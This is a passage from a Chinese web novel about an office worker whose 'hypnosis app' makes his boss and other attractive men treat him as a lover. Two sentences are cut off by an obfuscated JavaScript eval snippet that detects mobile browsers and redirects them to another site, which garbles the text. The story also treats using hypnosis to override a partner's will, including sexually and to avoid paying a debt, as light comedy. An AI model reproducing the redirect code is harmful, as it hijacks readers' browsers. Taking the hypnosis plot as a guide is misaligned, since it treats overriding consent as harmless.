裴则遇凝眸,抬手捏了捏蹙着的眉心,余光却不由得瞥见一个些许陌生的名字。 简清安。 他思考了半秒,才想起那是他的一名下属,印象中没什么交集,昨天刚到他办公室进行过工作汇报问题的处理。 此刻正在屏幕的最下方。 裴则遇想起上次给对方发消息,还是几天前关于工作项目的事情。 按他微信的消息频率,对方不可能出现在第一页。 心底的疑惑一闪而过,等反应过来,裴则遇已经无意识点进了与对方的聊天界面。 一片干净。 最后一句只有对方几天前发的—— 【好的裴总,收到。】 之后再也没有其他消息了。 裴则遇眼眸更深了,没等他细究起那点疑惑来,就听到清晰的两声敲门声,以及一句清泠理性的, “裴总。” “进。”裴则遇将手机息屏倒扣。 推门进来,正是抱着资料的简清安。 裴则遇抬眸,还没将脑海的中神思抽离干净,面前的身影就直直撞入他的眼帘——似乎在某个瞬间,不同场景的画面交叠一瞬,还没黏连上暧昧的虚影,转而又消逝的无影无踪。 裴则遇无法捕捉,滞在关机键的指节一紧。 而面前的简清安身着一套布料轻薄剪裁流畅的灰色西装,顶着他那张温润漂亮的脸,浅色眼镜后眼神平静,薄唇轻启道: “我来送‘融辉’项目的资料,裴总。” 简清安看似毫无波澜,说完齿尖却不住一收,险些颤着咬上舌。 他当然不愿意和裴则遇见面的。 他自认自己的伪装水平没有多好,对上那位气场强大的新上司,他连工作汇报都说不利索,更何况要进行其他交流。 他根本没信心不犯怵,不露怯。 昨晚的事情不过是赶鸭子上架,带入剧本叫两句“老公”还能勉强出口,现实中他对视裴则遇都不住双腿发麻。 但他工位纠结折腾许久,冰美式喝了大半,向来很少摸鱼的他都破天荒地走神N次,去了三趟厕所后,他终于勉强定了决心。 “下海”的钱他的确不能收。 加班费就算了,那是自己应得的。 只不过,他当然无法忽略掉那件被陆宇炀“糟蹋”掉的西装。 现在正值夏季,他们合租的这套房子南北通风,早上他去收的时候已经干了。 当然,最惨烈的状况也发生了。 昂贵的法兰绒被手搓得起球了,不知先前“清理”的家伙使了多大劲;冷静淡定如简清安,此刻也不敢打开搜索软件查高定西装的价格。 是他的失误他也认了, 问题是这次完全是无妄之灾。 但他没想出解决的办法来。 他总不能说,你被催眠后强行当了我的小三,认为我命令你洗我和我老公做.爱时弄脏的衣服,所以你顶着手伤去搓了这套西装吧。 他这句话说完后,可以直接移居出地球了。 但他赔不起。 思来想去,简清安想着因APP而起的事情,还是要靠APP解决。 虽然APP看似没有其他功能,但他早就学会利用手上现有资源创造出最大价值。 简单卑鄙点来说, 就是在裴则遇陷入催眠状态时,他把西装迅速还了。 再补一句他想亲自帮他手洗,没想到洗坏了。 ——“霸总”高傲如裴则遇,总不可能让他的“老婆”赔西装钱吧。 7. 第 7 章 虽然简清安觉得这样有些“不太道德”。 他的确也有自己的道德底线。 但无谓的道德和无辜的负债,他还是分得清楚的。 况且他在工位上紧张的也不止这个。 西装他固然赔不起,但更迫在眉睫的似乎是昨天的监控与昨晚的聊天记录…… 他不清楚裴则遇有没有发现这些“痕迹”。 他进来之前也暗暗向同事打听过了,裴则遇今天来公司来得很早,到了公司后就一头扎进了办公室,似乎没有出来过。 简清安心里没底。 他不是喜欢主动出击的人,但到了必要时刻,他也不会进行逃避。 于是他进了裴则遇的办公室,昨天APP第一次触发催眠状态的地方, 也是他险些丢失“贞节”的地方。 此刻他撞上裴则遇的眼眸,跌入那一片深邃的漆黑中,无可控地失神了一瞬,随即清醒过来,目光又不由得被对方的容貌吸引。 罕见的黑曜石般冷漠深沉的眼眸,高挺的鼻梁,略有厚度的薄唇,清晰锋利的下颌线与完美的面部轮廓。 今天对方穿了一套深黑的偏正式的西装,搭配同色系暗纹领带,低调内敛有气场,不知是裁剪得当还是对方的身材本就顶级,宽肩窄腰搭配质感好的高定西服,简直就是行走的衣架子。 更何况他长着张比模特还俊美有气质的脸。 当时对方来他们公司时,有几名同事不知道是空降的新上司,还讨论他们公司是不是要拓展演艺领域,那位是不是还没出道的艺人——又觉得气场是不是太过疏离霸道。 此刻在西装的掩映下,只能看出对方身材比例似乎不错,胸膛的起伏也被线条修饰得利落凌厉。 但简清安知道,褪去布料后,无论是胸肌的轮廓,还是块垒分明的腹肌,甚至往下流畅的人鱼线,都完美到无可挑剔。 甚至还是极其醒目的冷白皮。 导致就算是剪裁与质感极好的西装,套在对方身上,简清安也不免觉得可惜。 毕竟他依稀记得,对方下面的“资本”也并不小…… 当简清安意识到自己在开始“意淫”上司时,有些心虚慌乱的移开了目光。 不是他非要“意淫”。 只是昨晚的一幕幕在他脑海中的印象实在太过鲜明。 而且,只有他一个人有记忆是不是不太公平。 简清安这样想着,余光又觑到裴则遇那张能冷死人的脸,不由得轻轻打了个寒颤。 好,好吧,其实现在这样就很好了…… 他完全无法想象裴则遇痴迷地喊自己“老婆”的模样。 而裴则遇现在的脸色很不好。 因为在简清安进来后,他下意识就抬眸看向来人。 或许是上一秒还在看他们的聊天界面,他下一秒望向简清安时,不由得有些恍神。 第一时间注意力没有在对方话语里的工作事务,而是下意识看向对方耳后的痕迹,无端回想起昨天下午对方慌忙中强装镇定的模样。 等裴则遇意识到自己在想什么时,脸色无可控地黑了下来。 这算什么,莫名其妙开始回忆起下属身上被伴侣留下的痕迹? 果然是没睡好,精神状态都不对劲了。 裴则遇将唇抿得很紧。 毕竟他不可能认为,他会无意识觊觎什么。 “放这吧。”裴则遇低了低眸,眼神示意了办公桌一边的位置。 听见裴则遇不咸不淡的语气后,简清安不由得一滞。 刚刚裴则遇与他对视时,目光有瞬间的恍惚,不知道是不是他的错觉。 只是现在的言语与举止,似乎都昭示了一个事实, 裴则遇并没有被催眠。 因为被催眠后的裴则遇别说姿态,就连眼神都要将他吞吃殆尽。 简清安心里忐忑。 不希望催眠情况发生时,接二连三的意外撞得他措手不及。现在希望对方可以进入催眠状态,APP又不起作用了。 但简清安表面还是很服从命令,将资料放在了裴则遇指定的位置。 ——“融辉”是他们公司现在很重要的一个金融项目,项目经理正是裴则遇,而简清安也参与其中。 不过他是项目组底层的员工,只负责些基本的工作。 这些资料本来是裴则遇的秘书,常盛负责送过来的。只是他在工位纠结那些问题的后续时,恰好看见准备送资料的常秘书被人叫住,要临时去处理其他事务。 见此状况,他就“自告奋勇”地去裴则遇私人办公室送资料了。 毕竟他一直找不到好的理由可以接近裴则遇。 虽然这样听起来是显得他“居心叵测”,但简清安也承认自己是目的不纯。 常盛没什么异议,将资料交给了他,又嘱咐了几句。 毕竟很难得看见有下属会主动靠近裴总,对方那冷漠的气场,别说巴结了,被对方扫到一眼都会胆寒。 简清安将资料放好后,察觉到办公桌那位的状态依旧没什么变化,深呼吸一口后,还是踌躇着开口道: “对了,裴总,你昨天提的工作汇报的问题,我已经进行改进了……” 一边说着,一边拿出了他早就打印好的文档,俯身递了过去。 他在工位上思考时,想着要有合适的由头接近试探裴则遇,所以记起昨天对方把他叫去办公室的事情。于是在电脑上调出了那份工作报告,按照裴则遇之前提的问题进行了改进。 但修改完后他又犹豫了。 因为一份修改过的报告,特意去办公室找上司一趟,似乎显得过于刻意了。 就在简清安犹豫不定之时,恰好看见被叫住的常秘书,脑海中才形成想法。 而裴则遇没想到他会提这件事,抬起头来时,恰好看见俯身给他递文件的简清安。 浅灰色的西装勾勒修饰着对方修长的身躯,此刻微微俯身,由胸到腰部逐渐收紧的线条一览无遗,制服的薄布料因姿态堆出的褶皱,像是溢染了些许情.色的意味。 对方那张脸依旧温润精致,气质清冷平和,如果不是手上递过来的是工作汇报,裴则遇恍惚间都以为这是别人和他提过的所谓的“上位手段”。 裴则遇镇静接过,开始翻看起来。 说实话,他有些诧异。 因为他的确提出了可以改进的地方,但他遇到的绝大部分下属只会给他保证下次。这种将他的建议放在心上,并且第二天立即见到反馈的存在, 他第一次见。 并且—— 裴则遇认真查看起来。 不是敷衍,没有作秀。 真切地理解了他每个字每句话的用意,总结复盘做得清晰明了,甚至还能举一反三,堪称赏心悦目。 他先前的确有注意到简清安的能力。 但只是觉得或许有培养的价值,所以借用工作汇报的事情提点几句。 没想到对方超出了他的预期。 裴则遇不知道那是简清安为了“接近”他,从而不敢敷衍,绞尽脑汁做到最好。 而简清安紧张地看着裴则遇,齿尖无意识咬了咬唇,又松开,看见对方始终没什么情绪变化,眼神逐渐黯淡。 失败了吗…… 裴则遇注意到简清安的神情变化,难得进行了自我反思,以为是他表现得过于冷淡,让对方怀疑自己的能力,于是斟酌了一下,不太熟练地开口夸奖道: “做得不错。” 他以前去其他公司,最开始也会因为过于疏冷的行事被怀疑过无法融入团队,他没有改变,只是用绝对的能力让他们没有异议。 后续职位高升,他的行事风格也一贯延续了下来。 但没想到简清安听到这句之后似乎更沮丧了,甚至有点强忍失落的平静感。 高高在上的裴总更不解了,最后松口鼓励道: “期待看到你下次进步。” ——看来这次的确行不通了。 简清安心想。 平复了一下情绪,礼貌告辞了对方,他就转身准备离开了。 没想到行到门口后,他听到身后传来一句: “等一下。” 简清安的脚步一滞,眼眸的光微亮,眼睫轻颤,对于接下来的事情不知是紧张还是激动。 没想到下一秒磁性低沉的声音传来: “我觉得这里反思的第三点其实有值得注意的地方……” 简清安垂下的手臂中,缓缓攥紧了拳。 -- 简清安负着满身的指导经验,垂头丧气地耷拉出了办公室,一到工位上,就像半脱水的白菜一样蔫倒了。 他双臂搭在桌面,整个人趴倒,侧着脑袋,生无可恋地仰眸想说什么,唇瓣翕动几下又闭上了。 也不是惨到无法出口,是本身就不是什么见得了光的事。 同组的女同事见状不住关心开口道: “清安,你还好吗?” 慕清看着蔫头巴脑的简清安,想起对方昨天下午就被单独叫去过裴总办公室,现在从那里出来后,又一副备受打击期望消逝的零落模样,不由得脑补了许多。 毕竟裴则遇是新转来的上司,目前看来没有人怀疑他的能力,但那气场看着确实让人挺怵的。 “我很好,”简清安生无可恋道, “裴总是个好领导,给予了我很有价值的指导建议,我也深刻明白他的良苦用心,相信在他的带领下我的工作也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427099|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日益进步的……” 慕清听罢蓦然瞪大了眼睛。 看来肯定是出事了! 这种疯狂掉san值的话只有在精神失常的状态下才能说出来吧! 简清安丧气了一会儿,还是扑腾了起来,冷着脸咬着冰美式里的吸管。 事情是事情,情绪是情绪。 作为一个理智的成年人,他早有能力将二者分开。 况且只是一次失败而已。 简清安决定要是裴则遇下次被催眠后,再敢叫他“老婆”他就小发雷霆了。 只是工作汇报复盘改进第三点的关系。 而就在这时,简清安觑见不远处坐着的一名同事反复起身,时不时对着桌面立镜整理一下自己的仪容,时不时又目光涣散,有些坐立难安。 他蹙了蹙眉,略有疑惑地问了句: “清姐,哲轩他今天怎么了吗?” 慕清闻言也睨了被称作“哲轩”的同事,眼神带着几分厌弃,压低声音答: “项目最近不是有了些新情况吗?帝盛集团那位传说的太子爷周晟铭空降接手了‘融辉’的项目,原本还推进的还好好的,结果现在那边的意思似乎又变了,好像就是因为那位……” 这些简清安还是知道的,因为他也在融辉的项目组中。 “融辉”是他们恒讯与帝盛集团联手推进的项目,旨在共同打造一款全新的金融APP;结合恒讯敏锐的风向感知,专业的金融资讯与判研能力,以及帝盛集团的知名稳定和深厚底蕴,双方联合互补推出的战略性产品。 当然,即便他们恒讯是国内行业顶尖的存在,但距离帝盛集团那种庞然大物还是有不小差距。 所以这个项目不清楚对于帝盛那边算什么,但他们恒讯是非常重视。 原先项目一直推进得不错,帝盛那边也很配合,只是不清楚为什么,项目刚开了个头,那边又空降了个太子爷。 帝盛那边或许想用这个项目给他们的太子爷练练手,这本身是无可厚非,但对方似乎对这个项目有意见,现在进度也出现了滞涩。 简清安不由得叹了口气。 但他这个底层的小员工也没办法做什么。 不过就连他这种普通人也或多或少听过关于那名集团太子爷的风流韵事、八卦周边,对方时不时的一掷千金,穷奢极侈,纸醉金迷也是各大媒体争相报道的选题。 毕竟简清安印象中,那位太子爷不仅拥有着天之骄子的地位和钱权,连容貌和气质也是上帝的宠儿。 最近比较热门的好像是他在某某夏季拍卖会上拍下了一个天价胸针,后面坠的零他险些没忍住掰指头算一遍。 当时看得因赶项目进度而加班的他,往泡面里奢侈地加了两个卤蛋,并且感慨自己日子不过了啊。 不过这些看过也就算了,毕竟当差距过大时,他连嫉妒的心理都没办法有了。 “所以今天裴总要去参加一个帝盛那位在的酒会,看情况再谈谈项目的事,裴总准备带几名秘书和助理,应该还想带上一名项目组的人……” 慕清话说到这里意思已经很明晰了。 李哲轩也在这个项目组,并且他是高级技术人员,也入职了四五年,算是老员工。 裴则遇新转来恒讯,虽然助理和秘书都是从上个公司跟过来的,但他来到新地方也需要培养新的核心骨干。 李哲轩无疑是个很好的人选,资历经验和能力都不错。 但慕清看不惯他。 简清安看着慕清的神情与话语间的语气,也明白了什么。 李哲轩人品不好。 在他大四拿到恒讯实习资格时,身为新人的他没少被李哲轩刁难过,不仅被安排一堆杂事,有时候还得被迫分担对方的工作。 最开始还是慕清看不惯,帮他挡了两次,又暗暗警告了李哲轩几次。 后续他成长了,不仅没有任李哲轩继续拿捏,还在工作上找到其他机会回报了慕清。 而现在慕清眼底隐约的不忿快压不住,显然是看不惯李哲轩那副小人得志样。 因为虽然参加这样的酒会肯定有不少的压力,但也暗示了裴则遇想要培养对方的态度。 简清安也看出慕清此刻的心情,正想着说什么宽慰她一下,就看见常秘书从裴总的办公室走了出来。 之后直直往他们的方向行来。 简清安正不明所以,就看见常盛朝他礼貌地笑了一下,不知是不是他的错觉,他似乎从对方的笑容中看出几分鼓励。 随后常秘走到他的面前,开口道: “简清安,你准备一下。 “一会儿和裴总参加一个酒会,” 想了想他又加了句, “好好表现,裴总看好你。” 8. 第 8 章 简清安听到常盛的话后滞了几秒,险些以为他幻听了,眼睛眨了几下,嘴上先习惯性应下了。 但他内心没有表面那样云淡风轻,而是疯狂思考着想, 怎么回事,难道裴则遇又被催眠了? 那自己这算不算靠“潜规则”上位? 但简清安又迟疑地想,会不会是那份修改过后的工作汇报让裴总看见了他“积极端正”的工作态度,从而想着培养提拔他? 简清安在恒讯工作了近两年,即便时间不短了,他也自认他的能力和工作态度没有问题,但大公司晋升道路本来就难,更何况是恒讯这种所有人都挤破脑袋想进来的地方。 那现在是不是算,某种意义的“因祸得福”了。 ——他更不想丢这份工作了。 而等常盛离开后,惊讶的瞪大眼憋了半天的慕清,才终于激动开口道: “简清安,原来你刚刚那些掉san的话不是胡说的?!” 什么有价值的指导,在领导的带领下日益进步那些鬼话,居然都是真的? 简清安还真被裴总赏识给指导建议了……! 慕清用一副“小瞧你小子了”的眼神看着他,简清安表示无福消受,并且答应对方未来如果真升职加薪了一定请她吃饭。 同时他们也看见僵在原位的李哲轩,对方半天表情都转不动,失魂落魄般,看见简清安瞥过来的视线时,才强行挤出一抹笑。 比哭难看。 慕清乐得在微信和他发消息说,就着李哲轩的表情她今晚能再下二两饭。 -- 简清安很快就笑不出来了。 同时也知道了李哲轩坐立难安的原因。 他看着眼前富丽堂皇,觥筹交错的酒会大厅,恍惚地接收着所有人衣香鬓影的电影般的画面,同时脑海中回忆起刚刚穿过的巨型花园、待客前厅、酒店大堂……再来到的现在的大厅。 连脚下踩着的砖都看起来比他这辈子用的所有钱要贵。 他不是没有参加过酒会,毕竟上次和裴则遇去的酒会,被白葡萄酒弄脏的那件西装还躺在他工位的纸袋,没找到机会还回去。 但是这样的酒会,别说从前,他这一辈子都很难去一次吧。 作为在金融公司工作的员工,并且他们还是以敏锐的金融风向感知出名的恒讯,简清安平时看的财经新闻,金融杂志不在少数。 所以也认得出参与酒会的来宾,很多是在各种杂志报道出现过的人物。 简清安感觉自己的确来到电影了,有种不真实的到处都是“明星”的恍惚感,而不属于这部电影的路人甲的他混在其中莫名心虚。 偏偏他身边的裴则遇自始至终都淡定得和什么一样,面上焊死的疏冷神情都不带变的,镇静自若,仿佛早就见惯了这些名利场。 裴则遇冷静就算了,关键是他身旁的秘书和助理们也没什么异样—— 好像在场觉得不自在的只有他。 简清安一时间觉得手脚有点无处安放,抿唇紧张着自己会不会做得不够好,压力随着额间的汗一并淌出。 得到这次机会虽然很大程度能说明裴则遇的重视,但他确实经验不足,万一出现什么差错…… 神思忧惚之际,他察觉到一道视线落在了他的身上。 简清安对除工作外的事情都有些顿感,所以等他注意到什么时,一定是对方明目张胆得有些过分了。 他依稀记得,那个方向是……裴总吗? “别紧张,放轻松,” 简清安听到话音,下意识抬头,映入眼帘的却是常秘书清俊的脸,他的双眸轻眯成弯月,低声道, “先适应一下,以后会习惯的。” 不是想象中的那位,简清安不由得有些恍惚,却也很快回过神来,点头道谢。 他不禁在心里攥了攥拳。 该死的APP,现在害得他时不时往裴则遇的方向联想了。 显得他好像真对他上司抱有除工作外的幻想一样。 简清安点头点得快,没看见常盛那双眯眯眼不明显地往裴则遇的方向看了一眼。 而后者平静地转开视线,望向远处,似乎什么都没有发生。 常盛的话确实让简清安放心许多,因为这句话翻译过来无非是,先适应适应,没指望你能有什么表现。 至于以后能不能习惯,简清安不确定,毕竟以后也未必有机会。 而心情平复的简清安也终于注意到,酒会大厅很多人的视线都在往这边看来,更准确说,是往裴则遇的方向看来。 还有不少人蠢蠢欲动,整理着衣衫,预备往他们方向过来。 简清安最开始还有几分不解,因为即便恒讯是业内顶尖的金融公司,但一般情况也很难瞬间引发大范围多领域的关注。 直到他想起公司曾传言的,这位新上司来头并不小。 简清安脑中闪过一线灵光,似乎也明白了裴则遇始终云淡风轻的底气。 不久后终于有人上前来与裴则遇攀谈,裴则遇顺手从身旁侍者托盘中接过红酒,自然地向对方碰杯致意,交流起来。 裴则遇的秘书和助理很尽职地跟在他的身边,时不时像是低头记录些什么。 简清安有些无所适从,毕竟上次和裴则遇参加酒会,是和公司的许多员工一起。现在裴则遇和他原来的助理秘书在一起,他的位置就难免显得尴尬。 并且他也不知道做些什么。 见他们聊着聊着有上二楼的细谈的意向——毕竟是商务酒会,很有可能在此过程确认合作意向或推进项目进度,二三楼都设有功能多样的会谈室,方便随时进行详谈, 简清安更不知道跟还是不跟了。 幸好常盛及时发现他的窘迫,又像是受了什么命令徐徐行来道: “你应该还很少接触这样的场合吧, “可以到处走走熟悉一下,” 说着,他还像哄小孩似的说, “休息区在那边,那里有酒水,想要什么也可以直接和这里的侍从说……” 说到最后眼里似乎都蹦出几个字, 玩去吧。 从十岁起就没有被人当过小孩的简清安:…… 不过他也如蒙大赦,道了谢之后也很顺从地离开了。 目送他们上二楼的背影,简清安也走到了休息区的沙发。 “唉……” 简清安眯了眯眼,悠悠叹了口气,将刚刚从酒水区顺的橙味气泡水放到一旁,脊背陷入沙发,瞳孔放空。 算是在他预想之中,但还是有些落寞。 毕竟他也一直在项目组的底层,没掌握多少资料,也帮不上什么忙,更没见识过这些大场面。 这样想来,常秘书他们还算照顾自己。 简清安涣散的瞳孔逐渐聚焦,望着大厅来来往往西装革履谈笑风生的身影,无端有些怅然。 他的未来,或许也会像他们一样吧。 毕竟自己也算过上了规划的“理想生活”。 一路顺遂地考上A大,拿到恒讯的实习资格,顺利毕业,入职恒讯…… 他将来又会做到什么位置呢,秘书?副总?有可能到裴总那个位置吗? 这确实是他规划的道路。 但他心底无端又有点茫然,像是缺了什么。 他不明白为什么, 或许人过得太踏实顺利了,也会迷茫吧。 简清安没有继续想下去了,毕竟来参加酒会又得搁置他原本的工作,正好趁现在有时间,他准备看看有什么手机上能简单处理的事务。 没想到在这时,他却听到酒会的人群有隐隐的骚动,各种各样的讨论声越来越密,越来越高,直到逼近一个巅峰—— 简清安抬眸,顺着许多人的视线望去, 而后呼吸微微一滞。 酒会大厅门口进来了一个人。 深咖的法兰绒西装外套,布料昂贵硬挺,内里是浅灰色的马甲,色彩风格刚调至平衡,深处的米色的内衬,转瞬又将气质勾勒得恣意不羁。* 香槟色的暗纹领带鲜明又惹眼地系在领口,更添几分明媚张扬矜贵;高定的完全像是来秀场的三件套西装被穿着者的气质死死镇住,只能沦为陪衬—— 而往上看去,是一张极其优越的脸。 浓颜的完美代表,在注视的瞬间落在他身上的灯光都黯然失色,接近雕塑的完美骨相,但比起西方的深邃,他更有种道不明的东方韵味,锋利而张扬。 如果说裴则遇是冷冽俊美,陆宇炀是俊秀鲜活不失盛气青涩,而对方的登场就像是绝对的天之骄子。 明明最接近的形容或许是被聚光灯包围的明星,但与生俱来的高贵感,和不知多少钱权洗练出来的难以接近的气质,却又让人无法用这一简单的词汇概括他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427100|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不需要进一步猜想推测,简清安就能知道他的名字。 周晟铭, 帝盛集团的太子爷。 也是目前他们项目的合作方负责人。 而想到名字的同时,简清安也看见对方西装左胸上别着的,那个金灿橄榄叶簇拥皇冠的,精致异常的胸针。 简清安回忆起来。 就是那个夏季拍卖会上对方一掷千金的,好多零的那个胸针。 在他进场的瞬间,也有无数人想要上前簇拥攀谈,一时间进门处热闹不已。 而周晟铭神色始终漫不经心,比起裴则遇的冰冷,他更像是举手投足都散发着让人移不开目光的魅力,自然而然就吸引至众星捧月。 眼瞳是罕见的深琉璃色,通透异常,似乎也很容易看清他眼底的神色。 只是仔细看去,又极难猜透情绪。 因为很多人在盯着周晟铭看,所以简清安也心安理得地混入其中,跟着悄悄觑了好几眼。 毕竟现实中,几乎无法遇到那么优越的骨相皮相,能欣赏多一会儿也是一会儿。 只是简清安思考时,又蓦然记起,他最近好像撞到这样优质外貌的频率也并不低了。 看够了后,简清安也心满意足地抿了口他的气泡水,低头准备继续工作。 只是在手机界面无意切出至桌面时,简清安无意瞥见那个显眼的粉红爱心图标,指骨一滞,紧接着浑身一个激灵。 刹那间过电一般。 一个说出去很可能后半生都被钉在耻辱柱上,荒谬到不可思议,此刻又让简清安无法忽视的想法出现在他的脑海。 等等, 优质男性…… ——那该死的催眠APP不会把他和周晟铭绑定吧……? 即便简清安觉得这个想法很荒唐且难以置信,而且他也早过了做豪门霸道太子爷爱上他的白日梦的年纪—— 但这也说明了,他现在的判断完全是出于理性。 APP确实说明了会绑定催眠优质男性,并且现在已经有两个事例。 简清安沉默了一下,一时间脑袋也有点空白。 应该不会吧。 毕竟他也不是什么杰克苏主角,如果真的发生这种事,他第一时间的感受不是天降幸运,而是棘手的,无止境的麻烦。 自己要是和那种身份的存在扯上什么关系,他和他的“坦途”就都会脆弱得像风中的纸片,对方都不用一口气,纸片就会被刮得无影无踪,最后死无葬身之地。 不过现在还没有看见什么提示,简清安松了一口气。 并且他谨慎地看了一眼远处被众人簇拥的,瞩目仿佛和他不在一个世界的周晟铭,心里也稍微安定一些。 毕竟正常情况来说,只要过了这次酒会,他这辈子都不会再与对方有任何的交集。 一次偶然的“相遇”,他这个路人甲甚至挤不进电影的镜头,过于担忧,反倒显得自己自恋了。 想着,他低头看着手机那个糟心的APP又有些恼火。 说什么给他缠绵悱恻惊心动魄的恋爱体验,也没问他到底需不需要。 现在全剩“惊心动魄的体验”了。 不过周晟铭的出现也让他稍微警惕起来,简清安思索几秒,还是点进了APP,看看会不会出现什么新的提示和变化。 研究了半天还是一无所获,不远处路过的侍从见他玻璃杯空了,给他重新添上了冰镇的气泡水,简清安顺手拿起来,咬着吸管又喝了几口。 就在他不死心地研究能不能把头像换下去时,指腹刚触到头像,耳边就蓦然响起一句: “你是……裴则遇的新助理吗?” 嗓音低哑磁性,还有丝丝的矜贵随意,像是颗颗滚落在红丝绒布上的黑珍珠,让人心痒地去追逐那点韵味,又忍不住陶醉在对方的语调之中。 咬字很特别,听起来似乎很贵气,却又清晰随性,不显刻意。 简清安一怔,惊得险些没拿稳玻璃杯——慌忙间抬头看去,眼眸映入面前男人清晰俊美的面庞时,他的指骨一抖,冰冷的气泡水溅出一点到锁骨和领口,大脑一片空白。 他现在最害怕见到的人出现了。 “嗯?我很可怕?” 周晟铭从鼻腔轻轻哼出疑惑的气息,琉璃似的眼眸微眯,看着面前这个被吓懵似的青年,唇角扯着微不可察的笑意。 9. 第 9 章 比鬼可怕。 简清安看着眼前这张放大的,比明星还要优越的俊脸,理智还没恢复过来,瞳孔都是骤缩的。 对方浅棕的三七分倒梳刘海将他饱满流畅的额头显露出来,瓷白的肤色,高挺的鼻梁,一张殷红艳丽的薄情唇,配上看谁都深情的桃花眼——眼尾微微上挑,又多了几分贵气与矜傲。 确实是独属东方韵味的张扬恣意的一张脸,面部线条少一分太正,多一分太妖。 简清安的身体先脑子一步做出反应,立马将手机息屏,指尖都在发着颤。 早上为了甩开APP特意换的旧手机,被淘汰的可怜机器运行一会儿就开始发烫,此刻略高的温度躺在他的掌心,莫名与他擂鼓般的心跳交织成微妙的紧张。 他看见了吗? 简清安忍不住想,握着手机的指骨感觉都要被温度沁得冒汗。 那个“用户界面”还能编造解释,但刚刚他点的那个头像…… 连他都觉得过分情.色的,发丝凌乱,眼眸起雾,眼角堕泪的被强迫的姿态。 似乎无法解释。 更关键是,身后穿着西装的裴则遇也入镜了。 虽然只是腰腹往上至胸膛,并没有露脸,但简清安还是忐忑不安。 更何况不知道能不能认出“拍摄”地点就在裴则遇的私人办公室。 不过等脑海中有了反应,理智跟着回笼后,简清安还是一板一眼地僵硬回答道: “周总好…… “啊,我不是裴总的助理, “只是恒讯的普通员工。” 至于周晟铭后面那个问题,简清安选择装作忽略。 一般情况他的胆子不算小,不容易被惊到,只是最近“刺激”的事情实在太多。 况且刚刚的情况,也确实吓得他不轻。 “嗯……是吗?” 周晟铭轻轻牵动唇角,挑眉回了一句。 一直观察对方反应的简清安见状,心里松了口气。 对方应该是没看见。 而勉强冷静下来的简清安也不住开始思考起对方的目的。 对方问他是不是裴总的新助理,说明他熟悉裴则遇原先身边的那些人。 并且看起来目的明确,应该就是冲着裴则遇或者此次的项目来的了。 只是,为什么不直接找裴则遇还有他身边的助理秘书,而是来找自己。 是觉得他比较容易下手,方便套出什么信息吗? 简清安困惑不解,但他只能很无奈地想。 那他真是找错人了,自己的确只是名平平无奇的底层牛马。 ——周晟铭当然知道对面只是恒讯的普通员工。 毕竟他过来前知道了关于对方的资料,也是秘书提醒他裴则遇身边出现了位新面孔。 简清安,入职恒讯快两年,拥有普通人中优秀但不算耀眼的履历,目前只是恒讯的普通员工,唯一与裴则遇的交集就是同在“融辉”项目。 但,这听起来不是更有意思了吗。 毕竟裴则遇那样的家伙,身边从来不会出现“普通”的存在。 如果对方是个高级技术人员,周晟铭或许还不会太在意,偏偏只是个入职一年多的底层员工。 不过近了看,周晟铭才注意到对方的脸。 在远处瞥见时,只觉得气质平庸到泯然众人,但当那张脸抬起,视线相交的瞬间,周晟铭眼眸中的光还是无意识轻轻流转。 他的身份地位,从小到大见到的容貌优越的人物不在少数,无论是和他阶级相近的,亦或是各样的明星模特名媛名流……各种长相他都看了个倦。 其中也不乏众多想攀附他的。 但青年的容貌还是异常特殊,温润中不失昳丽,看起来没有危险的攻击性,却又不显得无辜或楚楚可怜,反倒有股很独特内敛的清冷的韧劲。 即便被那副黑框眼镜压了压眼眸,气质显得更不出众,但就像看似无害的漂亮沼泽,一旦踏足,总让人忍不住一眼又一眼地探寻,逐渐地陷落进去。 最后居然是周晟铭主动选择错开视线,低眸,见到了刚刚溅到对方锁骨的透明汁水。 他的神情有一丝不可察的错乱,但还是很快调整好,挑着嘴角笑道: “这样……” 他表现得太过游刃有余,简清安捉摸不透对方的心思,只能谨慎对待。 毕竟按理说听到他的答复,对方正常情况也该离开了。 没曾想下一秒,简清安感觉到身旁的沙发一陷,周晟铭自然地在他身边坐了下来,比例极好的双腿随意交叠,垂感布料的西装裤贴腿边落下,脊背放松地倚在松软的靠背,指骨分明的修长双手交搭,相对的拇指微微拱起…… 明明是休息区的普通沙发,愣是被他坐出杂志封面拍摄现场的感觉。 而他下一句也是: “‘融辉’,是吧, “我突然想了解一下这个项目,不如你从你的视角给我简单介绍一下……?” 简清安抿着唇,默了默,将刚刚差点洒的,或者说已经溅出些许的气泡水放到一边。 真是奇了怪了。 据他所知,那么多项目资料赶着送到这位太子爷的面前,甚至只要他愿意,他们的裴总都能立即安排与他讨论项目的会面。 偏偏来找他这个“无名小卒”,还特意强调是他的视角。 也不知道是不是命运弄人,他几秒前还在想着这场酒会只要不出错就好,反正也没有人指望他能有所表现。 结果现在就直面帝盛集团那边的项目负责人了。 要是真换个项目组的其他员工,可能在这时都慌了手脚,毕竟在基层,能将自己那份工作按部就班地完成就谢天谢地了。 可简清安每次都偏偏, 习惯做多一些准备。 此刻许多视线都往这边汇聚,携着各种各样探究的目光,人群中也不乏低声讨论的嘈杂声音。 简清安知道,那是因为这场酒会的焦点之一就在自己身边坐着。 他顶住压力,调整呼吸,面上的神色始终平静自若,缓缓开口道: “好的,周总。” 